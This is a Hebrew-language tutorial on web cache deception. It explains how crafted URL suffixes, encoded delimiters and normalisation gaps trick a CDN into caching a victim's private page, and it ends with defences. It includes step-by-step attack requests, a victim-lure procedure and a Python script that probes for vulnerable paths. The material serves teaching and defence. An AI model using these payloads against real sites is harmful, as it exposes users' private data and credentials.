לדלג לתוכן

הטעיית מטמון - Web Cache Deception

מבוא

הטעיית מטמון (Web Cache Deception) היא תקיפה שבה התוקף מרמה את המטמון לשמור תגובה שמכילה מידע פרטי של הקורבן. בניגוד להרעלת מטמון (Cache Poisoning) שבה התוקף מזריק תוכן זדוני למטמון, בהטעיית מטמון התוקף גורם למטמון לשמור תוכן לגיטימי שלא אמור להישמר.

הרעלת מטמון: תוקף שולח payload -> מטמון שומר תגובה זדונית -> קורבנות מקבלים תוכן זדוני
הטעיית מטמון: קורבן ניגש לנתיב מיוחד -> מטמון שומר תגובה פרטית -> תוקף קורא מהמטמון

עקרון התקיפה

תהליך התקיפה בשלושה שלבים

שלב 1: התוקף שולח לקורבן לינק מעוצב
   https://vulnerable-website.com/account/settings/nonexistent.css

שלב 2: הקורבן לוחץ על הלינק בזמן שהוא מחובר
   - השרת מתעלם מ-nonexistent.css ומחזיר את דף /account/settings
   - המטמון רואה סיומת .css ושומר את התגובה

שלב 3: התוקף מבקש את אותו URL
   - המטמון מגיש את התגובה השמורה שמכילה את המידע הפרטי של הקורבן

למה זה עובד

הפער בין האופן שבו המטמון מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר:

המטמון: "הנתיב מסתיים ב-.css, זה קובץ סטטי, אני שומר"
השרת: "אני מתעלם מ-nonexistent.css, מחזיר /account/settings"

בלבול נתיבים - Path Confusion

הוספת סיומת סטטית

הטכניקה הבסיסית ביותר - הוספת שם קובץ סטטי בסוף נתיב דינמי:

נתיב מקורי:     /account/settings
נתיב מעוצב:     /account/settings/anything.css
                 /account/settings/image.png
                 /account/settings/script.js
                 /account/settings/style.woff

שרתים שמשתמשים ב-URL rewriting או שמתעלמים מ-path segments נוספים יחזירו את אותה תגובה:

# Flask - נתיב עם catch-all
@app.route('/account/settings', defaults={'path': ''})
@app.route('/account/settings/<path:path>')
def settings(path):
    return render_template('settings.html', user=current_user)
// Spring Boot - מתעלם מ-path suffix
@GetMapping("/account/settings")
public String settings(Model model) {
    model.addAttribute("user", getCurrentUser());
    return "settings";
}
// Spring Boot בברירת מחדל מתעלם מ-suffix matching

טריקים עם מפרידים - Delimiter-Based Confusion

שרתים ומטמונים מפרשים תווים מיוחדים בנתיבים בצורות שונות:

Null Byte

/account/settings%00.css

השרת: מפרש %00 כסוף המחרוזת -> מחזיר /account/settings
המטמון: רואה סיומת .css -> שומר

נקודה-פסיק - Path Parameter

/account/settings;.css

Java/Tomcat: ; מסמן תחילת path parameter -> מעבד /account/settings
המטמון: רואה סיומת .css -> שומר

סימן שאלה מקודד

/account/settings%3f.css

השרת (חלקם): מפענח %3f ל-? -> מעבד /account/settings?/.css
המטמון: רואה סיומת .css -> שומר

סולמית מקודדת

/account/settings%23.css

השרת: מפענח %23 ל-# -> מתעלם מ-.css
המטמון: רואה סיומת .css -> שומר

טבלת מפרידים לפי שרת

+-------------------+---------+---------+---------+---------+
| מפריד             | Apache  | Nginx   | Tomcat  | Node.js |
+-------------------+---------+---------+---------+---------+
| ; (semicolon)     | לא      | לא      | כן      | לא      |
| %00 (null)        | חלקי    | לא      | לא      | חלקי    |
| %23 (hash)        | לא      | לא      | לא      | חלקי    |
| %3f (question)    | לא      | לא      | חלקי    | לא      |
| . (dot)           | כן*     | לא      | כן*     | לא      |
+-------------------+---------+---------+---------+---------+
* תלוי בהגדרות

הבדלי נרמול URL

נרמול בצד המטמון בלבד

בקשה: /account/settings/..%2fstatic/main.css

המטמון מנרמל: /account/static/main.css (סיומת .css, שומר)
השרת לא מנרמל: מחפש /account/settings/..%2fstatic/main.css -> 404 או /account/settings

נרמול בצד השרת בלבד

בקשה: /static/..%2faccount/settings

השרת מנרמל: /account/settings (מחזיר דף פרטי)
המטמון לא מנרמל: רואה /static/..%2faccount/settings (בתיקיית static, שומר)

קידוד כפול

בקשה: /account/settings%252f..%252fstatic/main.css

שלב ראשון של פענוח: /account/settings%2f..%2fstatic/main.css
שלב שני של פענוח: /account/settings/../static/main.css -> /static/main.css

ניצול התנהגויות CDN ספציפיות

Cloudflare

כללי ברירת מחדל:
- שומר במטמון לפי סיומת קובץ (.css, .js, .png, .jpg, ...)
- לא שומר דפים ללא סיומת מוכרת
- Cache Rules יכולים לשנות את ההתנהגות

תקיפה:
/account/settings/x.css
/account/settings.css  (אם השרת מתעלם מהסיומת)

Akamai

כללי ברירת מחדל:
- Cache key כולל את כל הנתיב
- תמיכה ב-path parameters (נקודה-פסיק)
- נרמול מובנה של נתיבים

תקיפה:
/account/settings;jsessionid=x.css
/account/settings%00.css

Varnish

כללי ברירת מחדל:
- גמישות רבה בהגדרות VCL
- ניתן להגדיר cache key מותאם אישית
- ברירת מחדל - שומר לפי כותרת Cache-Control

תקיפה - תלויה בהגדרות VCL:
if (req.url ~ "\.(css|js|png|jpg|gif)$") {
    return (hash);  # שמור במטמון
}

Fastly

דומה ל-Varnish (מבוסס על Varnish)
מאפשר הגדרות מותאמות ב-VCL

דוגמה מלאה - תקיפה צעד אחר צעד

שלב 1 - זיהוי שהאפליקציה מחזירה מידע פרטי

GET /account/settings HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session

HTTP/1.1 200 OK
Content-Type: text/html

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  <p>API Key: sk-secret-key-12345</p>
  ...
</html>

שלב 2 - זיהוי מנגנון מטמון

GET /static/main.css HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Cache: hit
Age: 3600
Cache-Control: public, max-age=86400

שלב 3 - בדיקת בלבול נתיבים

GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session

HTTP/1.1 200 OK
X-Cache: miss
Content-Type: text/html

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  ...
</html>

אם השרת מחזיר את דף ההגדרות וה-X-Cache הוא miss - התנאים מתקיימים.

שלב 4 - בדיקה שהתגובה נשמרה

GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
(ללא Cookie)

HTTP/1.1 200 OK
X-Cache: hit

<html>
  <h1>Account Settings</h1>
  <p>Email: victim@example.com</p>
  <p>API Key: sk-secret-key-12345</p>
</html>

שלב 5 - ביצוע התקיפה

1. שלחו לקורבן: https://vulnerable-website.com/account/settings/x.css
2. הקורבן לוחץ על הלינק (מחובר למערכת)
3. התגובה נשמרת במטמון
4. התוקף מבקש: https://vulnerable-website.com/account/settings/x.css
5. מקבל את התגובה עם המידע הפרטי של הקורבן

סקריפט אוטומציה

#!/usr/bin/env python3
"""
סקריפט לזיהוי הטעיית מטמון
"""

import requests
import time

def test_cache_deception(base_url, private_path, session_cookie=None):
    """בדיקת הטעיית מטמון"""

    extensions = ['.css', '.js', '.png', '.jpg', '.gif', '.ico', '.woff']
    delimiters = ['/', '%00', ';', '%23', '%3f']

    headers = {}
    if session_cookie:
        headers['Cookie'] = f'session={session_cookie}'

    results = []

    for delimiter in delimiters:
        for ext in extensions:
            test_path = f"{private_path}{delimiter}test{ext}"
            test_url = f"{base_url}{test_path}"

            # בקשה 1 - עם session (כאילו אנחנו הקורבן)
            resp1 = requests.get(test_url, headers=headers)

            if resp1.status_code != 200:
                continue

            # בדיקה אם יש תוכן פרטי בתגובה
            if 'email' not in resp1.text.lower() and 'api' not in resp1.text.lower():
                continue

            time.sleep(1)

            # בקשה 2 - ללא session (כאילו אנחנו התוקף)
            resp2 = requests.get(test_url)
            cache_status = resp2.headers.get('X-Cache', 'unknown')

            if resp2.status_code == 200 and 'email' in resp2.text.lower():
                results.append({
                    'path': test_path,
                    'delimiter': delimiter,
                    'extension': ext,
                    'cache_status': cache_status
                })
                print(f"[+] פגיע! {test_path} (X-Cache: {cache_status})")

    return results

if __name__ == "__main__":
    results = test_cache_deception(
        "https://vulnerable-website.com",
        "/account/settings",
        "your_session_cookie"
    )

    if results:
        print(f"\n[+] נמצאו {len(results)} נתיבים פגיעים")
    else:
        print("\n[-] לא נמצאו חולשות")

ההבדל בין הרעלה להטעיה

מאפיין הרעלת מטמון הטעיית מטמון
מי שולח את הבקשה התוקף הקורבן
מה נשמר במטמון תוכן זדוני תוכן פרטי לגיטימי
מי נפגע כל מבקר הקורבן הספציפי
דרישה כותרת שאינה במפתח הבדל בפרשנות נתיבים
תוצאה XSS, הפניות גניבת מידע פרטי

הגנה

1. הגדרת Cache-Control על דפים דינמיים

@app.route('/account/settings')
def settings():
    response = make_response(render_template('settings.html'))
    response.headers['Cache-Control'] = 'no-store, private'
    return response
@GetMapping("/account/settings")
public ResponseEntity<String> settings() {
    return ResponseEntity.ok()
        .cacheControl(CacheControl.noStore())
        .header("Pragma", "no-cache")
        .body(renderSettings());
}

2. נרמול URL עקבי

- ודאו שהמטמון והשרת מנרמלים URL-ים באותה צורה
- דחו נתיבים עם סיומות לא צפויות
- דחו נתיבים עם תווים מיוחדים (%00, ;, %23)

3. הגדרת מטמון לפי Content-Type

- במקום לקבוע מטמון לפי סיומת קובץ, השתמשו ב-Content-Type של התגובה
- אם התגובה היא text/html, לא לשמור (אלא אם מוגדר אחרת)
- אם התגובה היא application/javascript או text/css, לשמור

4. החזרת 404 לנתיבים לא מוכרים

# לא טוב - מתעלם מ-path נוסף
@app.route('/account/settings/<path:path>')
def settings_catchall(path):
    return settings()

# טוב - מחזיר 404
@app.route('/account/settings')
def settings():
    return render_template('settings.html')
# כל נתיב אחר יחזיר 404 אוטומטית

5. בדיקת CDN

- בדקו את כללי המטמון של ה-CDN שלכם
- ודאו שרק סיומות ספציפיות נשמרות
- הגדירו Cache Rules שמונעים שמירת דפים דינמיים

סיכום

הטעיית מטמון היא תקיפה אלגנטית שמנצלת את הפער בין האופן שבו המטמון מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר. נקודות מפתח:

  • התקיפה דורשת שהקורבן ילחץ על לינק מעוצב
  • בלבול נתיבים, מפרידים ונרמול URL הם וקטורי התקיפה העיקריים
  • התוצאה היא חשיפת מידע פרטי (טוקנים, מפתחות API, נתונים אישיים)
  • ההגנה דורשת Cache-Control נכון, נרמול עקבי, ו-404 לנתיבים לא מוכרים